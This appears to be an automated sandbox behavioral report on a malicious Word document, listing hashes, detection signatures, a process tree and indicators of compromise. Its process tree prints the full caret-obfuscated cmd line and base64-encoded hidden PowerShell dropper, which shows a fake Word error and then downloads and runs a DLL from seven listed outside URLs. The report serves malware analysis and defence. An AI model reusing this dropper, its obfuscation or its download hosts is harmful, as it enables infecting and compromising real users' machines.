Analysis
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max time kernel
56s -
max time network
60s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 14:50
Behavioral task
behavioral1
Sample
file B_252134.doc
Resource
win10v20201028
General
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Target
file B_252134.doc
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Size
139KB
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MD5
5755e717ca2ea862e1ac7b6b16e51231
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SHA1
0b72f94a91bbae534835b094bd619b9ad964eeab
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SHA256
9df93467bf67b571d11380a8fb29d1a2d82690b2797b73641a513802a4dccd80
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SHA512
049bd35c7d64a55e4f476297df4bb80c2a477f87b2e42f98bdb2e9ee881c96d52532993e700f7dfad4e02b74f5e4181eb8d92d1593168102818e3c53114f830b
Malware Config
Extracted
https://smkbudiagung.com/wp-content/VoPg04/
https://ats-tx.com/old/f1X/
http://avanttipisos.com.br/catalogo-virtual/U/
http://mpeakecreations.co.za/cgi-bin/vVk1rw/
http://adres-ug.ru/wp-admin/IItD/
https://theraven.pk/overwolf-r6-vdace/UH4fL/
http://bhar.com.br/elementos/MQfB/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 196 3904 cmd.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exerundll32.exeflow pid process 17 1276 powershell.exe 19 1276 powershell.exe 34 3480 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 4060 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Mivzf\pfuz.dcu rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 980 WINWORD.EXE 980 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 1276 powershell.exe 1276 powershell.exe 1276 powershell.exe 3480 rundll32.exe 3480 rundll32.exe 3480 rundll32.exe 3480 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1276 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 980 WINWORD.EXE 980 WINWORD.EXE 980 WINWORD.EXE 980 WINWORD.EXE 980 WINWORD.EXE 980 WINWORD.EXE 980 WINWORD.EXE 980 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 196 wrote to memory of 732 196 cmd.exe msg.exe PID 196 wrote to memory of 732 196 cmd.exe msg.exe PID 196 wrote to memory of 1276 196 cmd.exe powershell.exe PID 196 wrote to memory of 1276 196 cmd.exe powershell.exe PID 1276 wrote to memory of 1308 1276 powershell.exe rundll32.exe PID 1276 wrote to memory of 1308 1276 powershell.exe rundll32.exe PID 1308 wrote to memory of 4060 1308 rundll32.exe rundll32.exe PID 1308 wrote to memory of 4060 1308 rundll32.exe rundll32.exe PID 1308 wrote to memory of 4060 1308 rundll32.exe rundll32.exe PID 4060 wrote to memory of 3480 4060 rundll32.exe rundll32.exe PID 4060 wrote to memory of 3480 4060 rundll32.exe rundll32.exe PID 4060 wrote to memory of 3480 4060 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file B_252134.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAWgA1AGUASQBXACAAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsANAB9AHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9ACIALQBGACAAJwB0AG8AJwAsACcARABpAFIAZQBjACcALAAnAHIAeQAnACwAJwBpAG8ALgAnACwAJwBTAHkAcwBUAEUATQAuACcAKQA7ACAAIAAgACAAJABqAFIAdAAgACAAPQBbAFQAeQBwAEUAXQAoACIAewAzAH0AewAxAH0AewA3AH0AewA1AH0AewA4AH0AewA2AH0AewAwAH0AewA0AH0AewAyAH0AewA5AH0AIgAgAC0ARgAnAFAAJwAsACcARQB0ACcALAAnAEcAJwAsACcAUwBZAHMAdABFAG0ALgBuACcALAAnAE8ASQBuAHQATQBhAE4AQQAnACwAJwBFACcALAAnAEMARQAnACwAJwAuAHMAJwAsACcAUgBWAEkAJwAsACcARQBSACcAKQAgACAAOwAgACAAJABFAG0AYwB6ADAAMgB0AD0AJABKADEANABLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJADYAMQBNADsAJABRADgAOABSAD0AKAAnAEwAMAAnACsAJwAwAFgAJwApADsAIAAoACAAVgBBAHIAaQBhAGIAbABlACAAegA1AEUAaQBXACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAHIAZQBBAFQARQBkAGkAcgBgAGUAYABjAGAAVABgAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBuAG8AWgAnACsAJwBYACcAKQArACgAJwBxACcAKwAnAHAAbwAnACkAKwAoACcAMwAnACsAJwBwAHUAJwApACsAKAAnAG4AJwArACcAbwBaAEUAaAByAHQAeAAnACsAJwB0ACcAKQArACgAJwBkAG4AbwAnACsAJwBaACcAKQApACAAIAAtAEMAcgBlAFAATABhAEMARQAoACcAbgAnACsAJwBvAFoAJwApACwAWwBDAGgAYQBSAF0AOQAyACkAKQA7ACQAVAA0AF8AUAA9ACgAJwBLACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAOwAgACgAIABnAGkAIAAoACIAdgBhAHIAIgArACIAaQBhAEIATABlACIAKwAiADoAIgArACIASgBSAHQAIgApACAAKQAuAHYAYQBMAFUAZQA6ADoAIgBTAGUAQwB1AHIAaQBUAGAAWQBgAHAAYABSAE8AVABvAGAAQwBvAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAFIAOAAzAE8APQAoACcAWAAnACsAKAAnADUAJwArACcAMgBCACcAKQApADsAJABaAHkANAA4AGsAZgByACAAPQAgACgAKAAnAFgAJwArACcANQBfACcAKQArACcASgAnACkAOwAkAFgAOAA2AEMAPQAoACcAUgA5ACcAKwAnADcAWQAnACkAOwAkAEUAbwB3ADQAeABmADIAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBYAHEAcABvADMAJwArACcAcAB1AHsAJwArACcAMAB9AEUAaAByAHQAeAAnACsAJwB0ACcAKwAnAGQAewAwAH0AJwApACAAIAAtAEYAIABbAEMAaABBAHIAXQA5ADIAKQArACQAWgB5ADQAOABrAGYAcgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAEEAMgA4AEgAPQAoACcAUAAnACsAKAAnADUAJwArACcANABOACcAKQApADsAJABSAGQANABrAGQAcgBoAD0AKAAoACcAQQBdAFsAJwArACcAcQBbACcAKQArACcARAAnACsAJwBzADoAJwArACgAJwAvAC8AcwBtACcAKwAnAGsAYgAnACsAJwB1AGQAaQBhAGcAJwApACsAKAAnAHUAJwArACcAbgBnAC4AJwApACsAJwBjACcAKwAoACcAbwBtAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuACcAKwAnAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwB0AC8AJwApACsAKAAnAFYAbwAnACsAJwBQAGcAMAA0ACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAnAHEAWwAnACsAKAAnAEQAcwAnACsAJwA6AC8ALwBhAHQAcwAtACcAKQArACgAJwB0AHgAJwArACcALgBjAG8AbQAnACsAJwAvAG8AJwApACsAJwBsAGQAJwArACgAJwAvACcAKwAnAGYAMQAnACkAKwAoACcAWAAvAEAAJwArACcAQQAnACkAKwAnAF0AWwAnACsAKAAnAHEAWwAnACsAJwBEACcAKQArACgAJwA6AC8ALwBhAHYAYQAnACsAJwBuAHQAdABpACcAKwAnAHAAJwApACsAKAAnAGkAcwBvAHMAJwArACcALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAnAC4AYgAnACsAKAAnAHIALwAnACsAJwBjACcAKwAnAGEAdAAnACsAJwBhAGwAbwAnACsAJwBnAG8ALQB2AGkAcgB0ACcAKwAnAHUAYQAnACkAKwAnAGwALwAnACsAKAAnAFUALwBAAEEAJwArACcAXQAnACkAKwAoACcAWwBxACcAKwAnAFsAJwApACsAKAAnAEQAOgAvACcAKwAnAC8AbQBwAGUAYQBrACcAKQArACgAJwBlAGMAcgBlACcAKwAnAGEAJwApACsAJwB0AGkAJwArACgAJwBvACcAKwAnAG4AcwAnACkAKwAnAC4AYwAnACsAJwBvAC4AJwArACcAegBhACcAKwAoACcALwBjACcAKwAnAGcAJwApACsAJwBpAC0AJwArACgAJwBiAGkAJwArACcAbgAvACcAKwAnAHYAVgBrADEAJwApACsAJwByAHcAJwArACcALwBAACcAKwAoACcAQQBdAFsAJwArACcAcQBbAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAJwArACcAZAByAGUAcwAnACsAJwAtAHUAZwAnACkAKwAoACcALgByACcAKwAnAHUALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYQBkACcAKQArACgAJwBtAGkAbgAvAEkASQAnACsAJwB0AEQAJwArACcALwAnACsAJwBAAEEAJwApACsAKAAnAF0AWwBxAFsAJwArACcARABzACcAKQArACgAJwA6AC8ALwB0ACcAKwAnAGgAZQByAGEAdgAnACsAJwBlAG4ALgBwAGsAJwApACsAKAAnAC8AJwArACcAbwB2AGUAJwApACsAKAAnAHIAdwBvACcAKwAnAGwAZgAtAHIANgAnACkAKwAoACcALQB2AGQAYQBjAGUAJwArACcALwBVAEgANAAnACsAJwBmAEwALwBAACcAKQArACgAJwBBAF0AWwBxAFsARAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAYgBoAGEAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAuAGIAJwArACcAcgAvACcAKwAnAGUAJwApACsAJwBsACcAKwAoACcAZQBtACcAKwAnAGUAJwArACcAbgB0AG8AcwAvAE0AJwApACsAKAAnAFEAJwArACcAZgBCAC8AJwApACkALgAiAHIARQBgAFAAbABhAGMARQAiACgAKAAnAEEAJwArACcAXQAnACsAKAAnAFsAcQAnACsAJwBbAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZABzACcAKwAoACcAZQAnACsAJwB3AGYAJwApACkALAAoACgAJwB3ACcAKwAnAGUAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAEwAYABJAHQAIgAoACQAWgA1ADIASgAgACsAIAAkAEUAbQBjAHoAMAAyAHQAIAArACAAJABaADkAMABJACkAOwAkAEkANQA3AFYAPQAoACgAJwBTACcAKwAnADMAMQAnACkAKwAnAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABFADkAMQA1AGEAMgBuACAAaQBuACAAJABSAGQANABrAGQAcgBoACkAewB0AHIAeQB7ACgAJgAoACcATgAnACsAJwBlAHcALQAnACsAJwBPAGIAagBlAGMAdAAnACkAIABTAHkAcwB0AEUATQAuAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAHQAKQAuACIARABvAGAAVwBuAEwAYABvAGEAZABGAGAASQBsAGUAIgAoACQARQA5ADEANQBhADIAbgAsACAAJABFAG8AdwA0AHgAZgAyACkAOwAkAFgAMQA0AFQAPQAoACcAVQAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEUAbwB3ADQAeABmADIAKQAuACIAbABlAG4AYABnAHQASAAiACAALQBnAGUAIAA0ADkANgAwADQAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsACcAKwAnAGwAMwAyACcAKQAgACQARQBvAHcANAB4AGYAMgAsACgAJwBTACcAKwAoACcAaABvAHcAJwArACcARABpACcAKwAnAGEAbABvACcAKQArACcAZwBBACcAKQAuACIAdABPAGAAcwBgAFQAcgBpAE4AZwAiACgAKQA7ACQAQgA1ADcAVQA9ACgAKAAnAFEAMgAnACsAJwAwACcAKQArACcAQgAnACkAOwBiAHIAZQBhAGsAOwAkAFgANAA4AEwAPQAoACcATwAnACsAKAAnADAAJwArACcAMgBPACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMADgAMwBWAD0AKAAnAEQANAAnACsAJwAxAEwAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAgACQAWgA1AGUASQBXACAAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsANAB9AHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9ACIALQBGACAAJwB0AG8AJwAsACcARABpAFIAZQBjACcALAAnAHIAeQAnACwAJwBpAG8ALgAnACwAJwBTAHkAcwBUAEUATQAuACcAKQA7ACAAIAAgACAAJABqAFIAdAAgACAAPQBbAFQAeQBwAEUAXQAoACIAewAzAH0AewAxAH0AewA3AH0AewA1AH0AewA4AH0AewA2AH0AewAwAH0AewA0AH0AewAyAH0AewA5AH0AIgAgAC0ARgAnAFAAJwAsACcARQB0ACcALAAnAEcAJwAsACcAUwBZAHMAdABFAG0ALgBuACcALAAnAE8ASQBuAHQATQBhAE4AQQAnACwAJwBFACcALAAnAEMARQAnACwAJwAuAHMAJwAsACcAUgBWAEkAJwAsACcARQBSACcAKQAgACAAOwAgACAAJABFAG0AYwB6ADAAMgB0AD0AJABKADEANABLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJADYAMQBNADsAJABRADgAOABSAD0AKAAnAEwAMAAnACsAJwAwAFgAJwApADsAIAAoACAAVgBBAHIAaQBhAGIAbABlACAAegA1AEUAaQBXACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAHIAZQBBAFQARQBkAGkAcgBgAGUAYABjAGAAVABgAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBuAG8AWgAnACsAJwBYACcAKQArACgAJwBxACcAKwAnAHAAbwAnACkAKwAoACcAMwAnACsAJwBwAHUAJwApACsAKAAnAG4AJwArACcAbwBaAEUAaAByAHQAeAAnACsAJwB0ACcAKQArACgAJwBkAG4AbwAnACsAJwBaACcAKQApACAAIAAtAEMAcgBlAFAATABhAEMARQAoACcAbgAnACsAJwBvAFoAJwApACwAWwBDAGgAYQBSAF0AOQAyACkAKQA7ACQAVAA0AF8AUAA9ACgAJwBLACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAOwAgACgAIABnAGkAIAAoACIAdgBhAHIAIgArACIAaQBhAEIATABlACIAKwAiADoAIgArACIASgBSAHQAIgApACAAKQAuAHYAYQBMAFUAZQA6ADoAIgBTAGUAQwB1AHIAaQBUAGAAWQBgAHAAYABSAE8AVABvAGAAQwBvAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAFIAOAAzAE8APQAoACcAWAAnACsAKAAnADUAJwArACcAMgBCACcAKQApADsAJABaAHkANAA4AGsAZgByACAAPQAgACgAKAAnAFgAJwArACcANQBfACcAKQArACcASgAnACkAOwAkAFgAOAA2AEMAPQAoACcAUgA5ACcAKwAnADcAWQAnACkAOwAkAEUAbwB3ADQAeABmADIAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBYAHEAcABvADMAJwArACcAcAB1AHsAJwArACcAMAB9AEUAaAByAHQAeAAnACsAJwB0ACcAKwAnAGQAewAwAH0AJwApACAAIAAtAEYAIABbAEMAaABBAHIAXQA5ADIAKQArACQAWgB5ADQAOABrAGYAcgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAEEAMgA4AEgAPQAoACcAUAAnACsAKAAnADUAJwArACcANABOACcAKQApADsAJABSAGQANABrAGQAcgBoAD0AKAAoACcAQQBdAFsAJwArACcAcQBbACcAKQArACcARAAnACsAJwBzADoAJwArACgAJwAvAC8AcwBtACcAKwAnAGsAYgAnACsAJwB1AGQAaQBhAGcAJwApACsAKAAnAHUAJwArACcAbgBnAC4AJwApACsAJwBjACcAKwAoACcAbwBtAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuACcAKwAnAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwB0AC8AJwApACsAKAAnAFYAbwAnACsAJwBQAGcAMAA0ACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAnAHEAWwAnACsAKAAnAEQAcwAnACsAJwA6AC8ALwBhAHQAcwAtACcAKQArACgAJwB0AHgAJwArACcALgBjAG8AbQAnACsAJwAvAG8AJwApACsAJwBsAGQAJwArACgAJwAvACcAKwAnAGYAMQAnACkAKwAoACcAWAAvAEAAJwArACcAQQAnACkAKwAnAF0AWwAnACsAKAAnAHEAWwAnACsAJwBEACcAKQArACgAJwA6AC8ALwBhAHYAYQAnACsAJwBuAHQAdABpACcAKwAnAHAAJwApACsAKAAnAGkAcwBvAHMAJwArACcALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAnAC4AYgAnACsAKAAnAHIALwAnACsAJwBjACcAKwAnAGEAdAAnACsAJwBhAGwAbwAnACsAJwBnAG8ALQB2AGkAcgB0ACcAKwAnAHUAYQAnACkAKwAnAGwALwAnACsAKAAnAFUALwBAAEEAJwArACcAXQAnACkAKwAoACcAWwBxACcAKwAnAFsAJwApACsAKAAnAEQAOgAvACcAKwAnAC8AbQBwAGUAYQBrACcAKQArACgAJwBlAGMAcgBlACcAKwAnAGEAJwApACsAJwB0AGkAJwArACgAJwBvACcAKwAnAG4AcwAnACkAKwAnAC4AYwAnACsAJwBvAC4AJwArACcAegBhACcAKwAoACcALwBjACcAKwAnAGcAJwApACsAJwBpAC0AJwArACgAJwBiAGkAJwArACcAbgAvACcAKwAnAHYAVgBrADEAJwApACsAJwByAHcAJwArACcALwBAACcAKwAoACcAQQBdAFsAJwArACcAcQBbAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAJwArACcAZAByAGUAcwAnACsAJwAtAHUAZwAnACkAKwAoACcALgByACcAKwAnAHUALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYQBkACcAKQArACgAJwBtAGkAbgAvAEkASQAnACsAJwB0AEQAJwArACcALwAnACsAJwBAAEEAJwApACsAKAAnAF0AWwBxAFsAJwArACcARABzACcAKQArACgAJwA6AC8ALwB0ACcAKwAnAGgAZQByAGEAdgAnACsAJwBlAG4ALgBwAGsAJwApACsAKAAnAC8AJwArACcAbwB2AGUAJwApACsAKAAnAHIAdwBvACcAKwAnAGwAZgAtAHIANgAnACkAKwAoACcALQB2AGQAYQBjAGUAJwArACcALwBVAEgANAAnACsAJwBmAEwALwBAACcAKQArACgAJwBBAF0AWwBxAFsARAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAYgBoAGEAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAuAGIAJwArACcAcgAvACcAKwAnAGUAJwApACsAJwBsACcAKwAoACcAZQBtACcAKwAnAGUAJwArACcAbgB0AG8AcwAvAE0AJwApACsAKAAnAFEAJwArACcAZgBCAC8AJwApACkALgAiAHIARQBgAFAAbABhAGMARQAiACgAKAAnAEEAJwArACcAXQAnACsAKAAnAFsAcQAnACsAJwBbAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZABzACcAKwAoACcAZQAnACsAJwB3AGYAJwApACkALAAoACgAJwB3ACcAKwAnAGUAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAEwAYABJAHQAIgAoACQAWgA1ADIASgAgACsAIAAkAEUAbQBjAHoAMAAyAHQAIAArACAAJABaADkAMABJACkAOwAkAEkANQA3AFYAPQAoACgAJwBTACcAKwAnADMAMQAnACkAKwAnAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABFADkAMQA1AGEAMgBuACAAaQBuACAAJABSAGQANABrAGQAcgBoACkAewB0AHIAeQB7ACgAJgAoACcATgAnACsAJwBlAHcALQAnACsAJwBPAGIAagBlAGMAdAAnACkAIABTAHkAcwB0AEUATQAuAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAHQAKQAuACIARABvAGAAVwBuAEwAYABvAGEAZABGAGAASQBsAGUAIgAoACQARQA5ADEANQBhADIAbgAsACAAJABFAG8AdwA0AHgAZgAyACkAOwAkAFgAMQA0AFQAPQAoACcAVQAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEUAbwB3ADQAeABmADIAKQAuACIAbABlAG4AYABnAHQASAAiACAALQBnAGUAIAA0ADkANgAwADQAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsACcAKwAnAGwAMwAyACcAKQAgACQARQBvAHcANAB4AGYAMgAsACgAJwBTACcAKwAoACcAaABvAHcAJwArACcARABpACcAKwAnAGEAbABvACcAKQArACcAZwBBACcAKQAuACIAdABPAGAAcwBgAFQAcgBpAE4AZwAiACgAKQA7ACQAQgA1ADcAVQA9ACgAKAAnAFEAMgAnACsAJwAwACcAKQArACcAQgAnACkAOwBiAHIAZQBhAGsAOwAkAFgANAA4AEwAPQAoACcATwAnACsAKAAnADAAJwArACcAMgBPACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMADgAMwBWAD0AKAAnAEQANAAnACsAJwAxAEwAJwApAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Xqpo3pu\Ehrtxtd\X5_J.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Xqpo3pu\Ehrtxtd\X5_J.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mivzf\pfuz.dcu",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Xqpo3pu\Ehrtxtd\X5_J.dllMD5
531576e8cbde29e4d9dc1229291ef7a5
SHA14e77b02d31adfea05b6e1e15ce668ddbd7edea86
SHA256d7ec7166c632c003cc863298c7bd9876d8fca5b63308e42e31eff9c0a56ad9f5
SHA5128f35ef440ff02378ef6ea9cfef04fbc755590992fe68b15056ff59dca12c538bd54988117b38606a495bb365887baf09037732afbf54625e29a11e075e77438f
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\Users\Admin\Xqpo3pu\Ehrtxtd\X5_J.dllMD5
531576e8cbde29e4d9dc1229291ef7a5
SHA14e77b02d31adfea05b6e1e15ce668ddbd7edea86
SHA256d7ec7166c632c003cc863298c7bd9876d8fca5b63308e42e31eff9c0a56ad9f5
SHA5128f35ef440ff02378ef6ea9cfef04fbc755590992fe68b15056ff59dca12c538bd54988117b38606a495bb365887baf09037732afbf54625e29a11e075e77438f
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memory/732-3-0x0000000000000000-mapping.dmp
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memory/980-2-0x00007FFA13B30000-0x00007FFA14167000-memory.dmpFilesize
6.2MB
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memory/1276-4-0x0000000000000000-mapping.dmp
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memory/1276-5-0x00007FFA089A0000-0x00007FFA0938C000-memory.dmpFilesize
9.9MB
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memory/1276-6-0x0000023E7D870000-0x0000023E7D871000-memory.dmpFilesize
4KB
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memory/1276-7-0x0000023E7DA20000-0x0000023E7DA21000-memory.dmpFilesize
4KB
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memory/1308-8-0x0000000000000000-mapping.dmp
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memory/3480-12-0x0000000000000000-mapping.dmp
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memory/4060-10-0x0000000000000000-mapping.dmp